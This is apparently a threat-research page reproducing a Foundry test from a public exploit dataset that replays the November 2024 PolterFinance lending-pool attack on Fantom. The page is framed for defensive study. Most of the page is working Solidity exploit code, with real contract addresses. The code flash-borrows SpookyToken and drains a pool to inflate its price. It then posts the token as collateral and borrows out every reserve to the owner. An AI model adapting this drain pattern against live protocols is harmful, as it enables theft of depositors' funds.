Public reproduction file
src/test/2024-11/PolterFinance_exploit.sol
Public reproduction file for dataset entry PolterFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : $7M8// Attacker : https://ftmscan.com/address/0x511f427Cdf0c4e463655856db382E05D79Ac44a69// Attack Contract : https://ftmscan.com/address/0xA21451aC32372C123191B3a4FC01deB69F91533a10// Vulnerable Contract : https://ftmscan.com/address/0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d511// Attack Tx : https://ftmscan.com/tx/0x5118df23e81603a64c7676dd6b6e4f76a57e4267e67507d34b0b26dd9ee10eac13// @Info14// Vulnerable Contract Code : https://ftmscan.com/address/0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5#code16// @Analysis17// Post-mortem : https://twitter.com/Bcpaintball26/status/185786575855180597618// Twitter Guy : https://twitter.com/Bcpaintball26/status/185786575855180597619// Hacking God : https://twitter.com/Bcpaintball26/status/185786575855180597620pragma solidity ^0.8.0;22contract PolterFinance is BaseTestWithBalanceLog {23 uint256 blocknumToForkFrom = 97508838;25 function setUp() public {26 vm.createSelectFork("fantom", blocknumToForkFrom);27 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit28 // WFTM29 fundingToken = address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);30 // Lots of other token does not count in here, but you can check.31 }33 function testExploit() public balanceLog {34 //implement exploit code here35 EXPLOIT_DO3 it = new EXPLOIT_DO3(address(this));36 it.doTask();37 }39 function run() external {40 EXPLOIT_DO3 it = new EXPLOIT_DO3(address(this));41 it.doTask();43 console.log("wftm balance: %e", WFTM.balanceOf(address(this)));44 }45}47IERC20 constant spookyToken = IERC20(address(0x841FAD6EAe12c286d1Fd18d1d525DFfA75C7EFFE));48IERC20 constant WFTM = IERC20(address(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83));49IERC20 constant MIM = IERC20(address(0x82f0B8B456c1A451378467398982d4834b6829c1));50IERC20 constant sFTMX = IERC20(address(0xd7028092c830b5C8FcE061Af2E593413EbbC1fc1));51IERC20 constant axlUSDC = IERC20(address(0x1B6382DBDEa11d97f24495C9A90b7c88469134a4));52IERC20 constant wBTC = IERC20(address(0xf1648C50d2863f780c57849D812b4B7686031A3D));53IERC20 constant wETH = IERC20(address(0x695921034f0387eAc4e11620EE91b1b15A6A09fE));54IERC20 constant USDCe = IERC20(address(0x2F733095B80A04b38b0D10cC884524a3d09b836a));55IERC20 constant wSOL = IERC20(address(0xd99021C2A33e4Cf243010539c9e9b7c52E0236c1));57Uni_Pair_V3 constant WFTM_SpookyToken_V3Pool = Uni_Pair_V3(address(0xEd23Be0cc3912808eC9863141b96A9748bc4bd89));58IUniswapV2Pair constant JFTM_SpookyToken_V2Pool = IUniswapV2Pair(address(0xEc7178F4C41f346b2721907F5cF7628E388A7a58));59PitfallInterface constant pitfall = PitfallInterface(address(0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5));60LendingPoolInterface constant lendingPool = LendingPoolInterface(address(0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5));61Uni_Router_V2 constant router = Uni_Router_V2(address(0xF491e7B69E4244ad4002BC14e878a34207E38c29));63contract EXPLOIT_DO3 {64 address owner;66 constructor(address _owner) {67 owner = _owner;68 }70 function doTask() public payable {71 WFTM_SpookyToken_V3Pool.flash(address(this), 0, spookyToken.balanceOf(address(WFTM_SpookyToken_V3Pool)), "");72 }74 function uniswapV3FlashCallback(uint256, uint256 fee1, bytes calldata) external {75 uint256 needToRepay = spookyToken.balanceOf(address(this)) + fee1;76 JFTM_SpookyToken_V2Pool.swap(77 0,78 spookyToken.balanceOf(address(JFTM_SpookyToken_V2Pool)) - 1e6,79 address(this),80 "0"81 );82 WFTM.approve(address(router), type(uint256).max);83 address[] memory path = new address[](2);84 path[0] = address(WFTM);85 path[1] = address(spookyToken);86 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(5e21, 0, path, address(this), block.timestamp);87 // console.log("needToRepay: %e", needToRepay);88 // console.log("having: %e", spookyToken.balanceOf(address(this)));89 spookyToken.transfer(address(WFTM_SpookyToken_V3Pool), needToRepay);90 spookyToken.transfer(address(owner), spookyToken.balanceOf(address(this)));91 WFTM.transfer(address(owner), WFTM.balanceOf(address(this)));92 }94 function uniswapV2Call(address s, uint256 a0, uint256 a1, bytes calldata data) external {95 spookyToken.approve(address(pitfall), 1e18);96 {97 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(spookyToken));98 spookyToken.balanceOf(address(0x258345C300629198eDC37B169d3E1a0FEcCf09c1));99 }101 pitfall.deposit(address(spookyToken), 1e18, address(this), 0);102 // lendingPool.getUserAccountData(address(this));104 // exploits105 {106 // WFTM token107 {108 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(WFTM));110 pitfall.borrow(address(WFTM), WFTM.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));111 WFTM.balanceOf(address(this));112 }113 // MIM token114 {115 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(MIM));116 pitfall.borrow(address(MIM), MIM.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));117 MIM.transfer(address(owner), MIM.balanceOf(address(this)));118 }119 // sFTMX token120 {121 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(sFTMX));122 pitfall.borrow(address(sFTMX), sFTMX.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));123 sFTMX.transfer(address(owner), sFTMX.balanceOf(address(this)));124 }125 // axlUSDC token126 {127 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(axlUSDC));128 pitfall.borrow(address(axlUSDC), axlUSDC.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));129 axlUSDC.transfer(address(owner), axlUSDC.balanceOf(address(this)));130 }131 // wBTC token132 {133 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(wBTC));134 pitfall.borrow(address(wBTC), wBTC.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));135 wBTC.transfer(address(owner), wBTC.balanceOf(address(this)));136 }137 // wETH token138 {139 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(wETH));140 pitfall.borrow(address(wETH), wETH.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));141 wETH.transfer(address(owner), wETH.balanceOf(address(this)));142 }143 // USDCe token144 {145 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(USDCe));146 pitfall.borrow(address(USDCe), USDCe.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));147 USDCe.transfer(address(owner), USDCe.balanceOf(address(this)));148 }149 // wSOL token150 {151 PitfallInterface.ReserveData memory reserveData = pitfall.getReserveData(address(wSOL));152 pitfall.borrow(address(wSOL), wSOL.balanceOf(reserveData.aTokenAddress), 2, 0, address(this));153 wSOL.transfer(address(owner), wSOL.balanceOf(address(this)));154 }155 }157 spookyToken.transfer(address(JFTM_SpookyToken_V2Pool), (a1 * 1000) / 998 + 1);158 }159}161interface LendingPoolInterface {162 // getUserAccountData163 function getUserAccountData(164 address a165 )166 external167 returns (168 uint256 totalCollateralETH,169 uint256 totalDebtETH,170 uint256 availableBorrowsETH,171 uint256 currentLiquidationThreshold,172 uint256 ltv,173 uint256 healthFactor174 );175}177interface PitfallInterface {178 struct ReserveConfigurationMap {179 //bit 0-15: LTV180 //bit 16-31: Liq. threshold181 //bit 32-47: Liq. bonus182 //bit 48-55: Decimals183 //bit 56: Reserve is active184 //bit 57: reserve is frozen185 //bit 58: borrowing is enabled186 //bit 59: stable rate borrowing enabled187 //bit 60-63: reserved188 //bit 64-79: reserve factor189 uint256 data;190 }192 struct ReserveData {193 //stores the reserve configuration194 ReserveConfigurationMap configuration;195 //the liquidity index. Expressed in ray196 uint128 liquidityIndex;197 //variable borrow index. Expressed in ray198 uint128 variableBorrowIndex;199 //the current supply rate. Expressed in ray200 uint128 currentLiquidityRate;201 //the current variable borrow rate. Expressed in ray202 uint128 currentVariableBorrowRate;203 //the current stable borrow rate. Expressed in ray204 uint128 currentStableBorrowRate;205 uint40 lastUpdateTimestamp;206 //tokens addresses207 address aTokenAddress;208 address stableDebtTokenAddress;209 address variableDebtTokenAddress;210 //address of the interest rate strategy211 address interestRateStrategyAddress;212 //the id of the reserve. Represents the position in the list of the active reserves213 uint8 id;214 }216 function deposit(address asset, uint256 amount, address onBehalfOf, uint16 refCode) external;217 function getReservesList() external returns (address[] memory);218 function getReserveData(address asset) external returns (ReserveData memory);219 function borrow(220 address asset,221 uint256 amount,222 uint256 interestRateMode,223 uint16 refCode,224 address onBehalfOf225 ) external;226}Analysis
Dataset entry
Public Foundry test for “PolterFinance” (2024-11-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-11/Ak1111_exp.solSame month in the dataset · 56 lines
- src/test/2024-11/ChiSale_exp.solSame month in the dataset · 85 lines
- src/test/2024-11/CoW_exp.solSame month in the dataset · 73 lines
- src/test/2024-11/DeltaPrime_exp.solSame month in the dataset · 249 lines
- src/test/2024-11/MainnetSettler_exp.solSame month in the dataset · 93 lines
- src/test/2024-11/Matez_exp.solSame month in the dataset · 72 lines
- src/test/2024-11/MFT_exp.solSame month in the dataset · 157 lines
- src/test/2024-11/NFTG_exp.solSame month in the dataset · 68 lines
- src/test/2024-11/proxy_b7e1_exp.solSame month in the dataset · 107 lines
- src/test/2024-11/RPP_exp.solSame month in the dataset · 100 lines
- src/test/2024-11/vETH_exp.solSame month in the dataset · 94 lines
- src/test/2024-11/VRug_exp.solSame month in the dataset · 38 lines
- src/test/2024-11/X319_exp.solSame month in the dataset · 45 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x511f427cdf0c4e463655856db382e05d79ac44a6
- Attack Contract
0xa21451ac32372c123191b3a4fc01deb69f91533a
- Vulnerable Contract
0x867faa51b3a437b4e2e699945590ef4f2be2a6d5
- Attack Tx
0x5118df23e81603a64c7676dd6b6e4f76a57e4267e67507d34b0b26dd9ee10eac
- Post: https://twitter.com/Bcpaintball26/status/1857865758551805976
- Explorer: https://ftmscan.com/address/0x511f427Cdf0c4e463655856db382E05D79Ac44a6
- Explorer: https://ftmscan.com/address/0xA21451aC32372C123191B3a4FC01deB69F91533a
- Explorer: https://ftmscan.com/address/0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5
- Explorer: https://ftmscan.com/address/0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5#code
File record
- Name
- PolterFinance
- Path
- src/test/2024-11/PolterFinance_exploit.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 08d688afec17604408ab2568d99637c8a2b8c1db
- Language
- Solidity
- Size
- 227 lines
- Date
- 2024-11-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-11/PolterFinance_exploit.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 08d688afec17604408ab2568d99637c8a2b8c1db, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.